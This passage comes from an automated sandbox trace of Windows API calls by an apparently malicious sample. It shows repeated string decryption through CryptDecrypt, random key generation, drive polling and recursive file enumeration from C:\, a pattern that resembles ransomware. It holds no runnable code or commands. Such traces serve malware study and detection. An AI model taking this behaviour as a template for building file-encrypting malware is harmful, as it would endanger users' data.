hHeap=0xb80000, dwFlags=0x0, lpMem=0xb863b8 | out: hHeap=0xb80000) returned 1 [0046.837] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88e90 | out: hHeap=0xb80000) returned 1 [0046.837] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88ea8 | out: hHeap=0xb80000) returned 1 [0046.837] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88f40 | out: hHeap=0xb80000) returned 1 [0046.837] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x14) returned 0xb863b8 [0046.837] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0xe) returned 0xb85820 [0046.837] ResetEvent (hEvent=0x128) returned 1 [0046.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a3bdf, lpParameter=0xb863b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0046.840] CloseHandle (hObject=0x12c) returned 1 [0046.840] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85808 [0046.840] CryptImportKey (in: hProv=0x585138, pbData=0x27df6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df748 | out: phKey=0x27df748*=0x58bba0) returned 1 [0046.840] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x27df730, dwFlags=0x0) returned 1 [0046.840] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85808, pdwDataLen=0x27df6fc | out: pbData=0xb85808, pdwDataLen=0x27df6fc) returned 1 [0046.840] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.840] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb857f0 [0046.840] CryptImportKey (in: hProv=0x585138, pbData=0x27df6d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df740 | out: phKey=0x27df740*=0x58bba0) returned 1 [0046.840] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x27df728, dwFlags=0x0) returned 1 [0046.840] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb857f0, pdwDataLen=0x27df6f4 | out: pbData=0xb857f0, pdwDataLen=0x27df6f4) returned 1 [0046.840] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.840] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85838 [0046.840] CryptImportKey (in: hProv=0x585138, pbData=0x27df6d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df738 | out: phKey=0x27df738*=0x58bba0) returned 1 [0046.840] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x27df720, dwFlags=0x0) returned 1 [0046.841] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85838, pdwDataLen=0x27df6ec | out: pbData=0xb85838, pdwDataLen=0x27df6ec) returned 1 [0046.841] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb865b0 [0046.841] CryptImportKey (in: hProv=0x585138, pbData=0x27df6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df730 | out: phKey=0x27df730*=0x58bba0) returned 1 [0046.841] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x27df718, dwFlags=0x0) returned 1 [0046.841] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb865b0, pdwDataLen=0x27df6e4 | out: pbData=0xb865b0, pdwDataLen=0x27df6e4) returned 1 [0046.841] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85850 [0046.841] CryptImportKey (in: hProv=0x585138, pbData=0x27df6c0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df728 | out: phKey=0x27df728*=0x58bba0) returned 1 [0046.841] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x27df710, dwFlags=0x0) returned 1 [0046.841] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85850, pdwDataLen=0x27df6dc | out: pbData=0xb85850, pdwDataLen=0x27df6dc) returned 1 [0046.841] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.841] htonl (hostlong=0x9c354b42) returned 0x424b359c [0046.841] CryptGenRandom (in: hProv=0x585138, dwLen=0x20, pbBuffer=0x27df7f0 | out: pbBuffer=0x27df7f0) returned 1 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x28) returned 0xb86648 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85868 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0xb86678 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x14) returned 0xb88e90 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85880 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x80) returned 0xb88eb0 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85898 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x82) returned 0xb88f38 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb858b0 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0x1186ba8 [0046.841] CryptGenRandom (in: hProv=0x58bbe0, dwLen=0x55, pbBuffer=0x27df772 | out: pbBuffer=0x27df772) returned 1 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb858c8 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x80) returned 0xb87520 [0046.841] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb858e0 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x2) returned 0x1186bb8 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0x1186bc8 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb858f8 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x80) returned 0xb875a8 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85910 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0x1186bd8 [0046.842] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0x1186bb8, Size=0x82) returned 0xb8cd20 [0046.842] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0x1186bd8, Size=0x100) returned 0xb87630 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85928 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x82) returned 0xb8cdb0 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85940 [0046.842] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x82) returned 0xb8ce40 [0046.842] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb8cd20, Size=0x104) returned 0xb85fd8 [0046.843] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb87630, Size=0x200) returned 0xb860e8 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1186bc8 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb860e8 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85910 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87520 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb858c8 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb875a8 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb858f8 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85fd8 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb858e0 | out: hHeap=0xb80000) returned 1 [0046.843] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb8cdb0 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85928 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb8ce40 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85940 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86678 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85868 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88f38 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85898 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88eb0 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85880 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1186ba8 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb858b0 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86648 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88e90 | out: hHeap=0xb80000) returned 1 [0046.844] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xa4) returned 0xb88e90 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb857f0 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85838 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865b0 | out: hHeap=0xb80000) returned 1 [0046.844] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85850 | out: hHeap=0xb80000) returned 1 [0046.844] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x14) returned 0xb88f40 [0046.844] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0xe) returned 0xb85850 [0046.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a3bdf, lpParameter=0xb88f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0046.845] CloseHandle (hObject=0x12c) returned 1 [0046.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 53 os_tid = 0xbe0 [0046.838] GetLogicalDrives () returned 0x4 [0046.838] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86538 [0046.838] CryptImportKey (in: hProv=0x585138, pbData=0x2b2f82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b2f894 | out: phKey=0x2b2f894*=0x58bba0) returned 1 [0046.838] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x2b2f87c, dwFlags=0x0) returned 1 [0046.838] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86538, pdwDataLen=0x2b2f848 | out: pbData=0xb86538, pdwDataLen=0x2b2f848) returned 1 [0046.838] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.838] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86560 [0046.839] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86588 [0046.839] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb865b0 [0046.839] CryptImportKey (in: hProv=0x585138, pbData=0x2b2f804, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b2f86c | out: phKey=0x2b2f86c*=0x58bba0) returned 1 [0046.839] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x2b2f854, dwFlags=0x0) returned 1 [0046.839] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb865b0, pdwDataLen=0x2b2f820 | out: pbData=0xb865b0, pdwDataLen=0x2b2f820) returned 1 [0046.839] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.839] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865b0 | out: hHeap=0xb80000) returned 1 [0046.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86560, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.839] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86588 | out: hHeap=0xb80000) returned 1 [0046.839] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86538 | out: hHeap=0xb80000) returned 1 [0046.839] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2b2f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2b2f8d4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.839] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86560 | out: hHeap=0xb80000) returned 1 [0046.839] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86538 [0046.839] CryptImportKey (in: hProv=0x585138, pbData=0x2b2f860, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b2f8c8 | out: phKey=0x2b2f8c8*=0x58bba0) returned 1 [0046.839] CryptSetKeyParam (hKey=0x58bba0, dwParam=0x1, pbData=0x2b2f8b0, dwFlags=0x0) returned 1 [0046.840] CryptDecrypt (in: hKey=0x58bba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86538, pdwDataLen=0x2b2f87c | out: pbData=0xb86538, pdwDataLen=0x2b2f87c) returned 1 [0046.840] CryptDestroyKey (hKey=0x58bba0) returned 1 [0046.840] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb86580 [0046.840] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x130 [0046.840] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x134 [0046.840] GetLogicalDrives () returned 0x4 [0046.840] Sleep (dwMilliseconds=0x3e8) [0048.303] GetLogicalDrives () returned 0x4 [0048.303] Sleep (dwMilliseconds=0x3e8) [0049.631] GetLogicalDrives () returned 0x4 [0049.631] Sleep (dwMilliseconds=0x3e8) [0050.978] GetLogicalDrives () returned 0x4 [0050.978] Sleep (dwMilliseconds=0x3e8) [0052.310] GetLogicalDrives () returned 0x4 [0052.310] Sleep (dwMilliseconds=0x3e8) [0053.611] GetLogicalDrives () returned 0x4 [0053.615] Sleep (dwMilliseconds=0x3e8) [0054.967] GetLogicalDrives () returned 0x4 [0054.967] Sleep (dwMilliseconds=0x3e8) [0056.311] GetLogicalDrives () returned 0x4 [0056.311] Sleep (dwMilliseconds=0x3e8) [0057.899] GetLogicalDrives () returned 0x4 [0057.899] Sleep (dwMilliseconds=0x3e8) [0059.298] GetLogicalDrives () returned 0x4 [0059.298] Sleep (dwMilliseconds=0x3e8) Thread: id = 54 os_tid = 0xbe4 [0046.884] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x38) returned 0xb88f60 [0046.884] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x18) returned 0xb88fa0 [0046.884] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x11c [0046.884] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x12c [0046.884] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x138 [0046.884] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1186f90 [0046.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12a3a08, lpParameter=0x2d5ff24, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0046.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12a3a08, lpParameter=0x2d5ff24, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0046.887] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1196f98 [0046.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x58bba0 [0046.888] GetLastError () returned 0x0 [0046.888] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x214) returned 0xb85fd8 [0046.888] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0046.889] GetCurrentThreadId () returned 0xbe4 [0046.889] SetLastError (dwErrCode=0x0) [0046.889] GetLastError () returned 0x0 [0046.889] SetLastError (dwErrCode=0x0) [0046.889] GetLastError () returned 0x0 [0046.889] SetLastError (dwErrCode=0x0) [0046.889] GetLastError () returned 0x0 [0046.889] SetLastError (dwErrCode=0x0) [0046.889] GetLastError () returned 0x0 [0046.889] SetLastError (dwErrCode=0x0) [0046.889] GetLastError () returned 0x0 [0046.889] SetLastError (dwErrCode=0x0) [0046.889] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11a6fa0 [0046.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x58b1c8 [0046.890] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0046.890] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0046.891] GetLastError () returned 0x0 [0046.891] SetLastError (dwErrCode=0x0) [0046.891] GetLastError () returned 0x0 [0046.891] SetLastError (dwErrCode=0x0) [0046.891] GetLastError () returned 0x0 [0046.891] SetLastError (dwErrCode=0x0) [0046.891] GetLastError () returned 0x0 [0046.891] SetLastError (dwErrCode=0x0) [0046.891] GetLastError () returned 0x0 [0046.891] SetLastError (dwErrCode=0x0) [0046.891] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11b6fa8 [0046.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x58bc68 [0046.892] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.892] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.892] GetLastError () returned 0x0 [0046.892] SetLastError (dwErrCode=0x0) [0046.892] GetLastError () returned 0x0 [0046.892] SetLastError (dwErrCode=0x0) [0046.892] GetLastError () returned 0x0 [0046.892] SetLastError (dwErrCode=0x0) [0046.892] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.893] GetLastError () returned 0x0 [0046.893] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.894] GetLastError () returned 0x0 [0046.894] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.895] SetLastError (dwErrCode=0x0) [0046.895] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.896] SetLastError (dwErrCode=0x0) [0046.896] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.897] SetLastError (dwErrCode=0x0) [0046.897] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.898] SetLastError (dwErrCode=0x0) [0046.898] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError 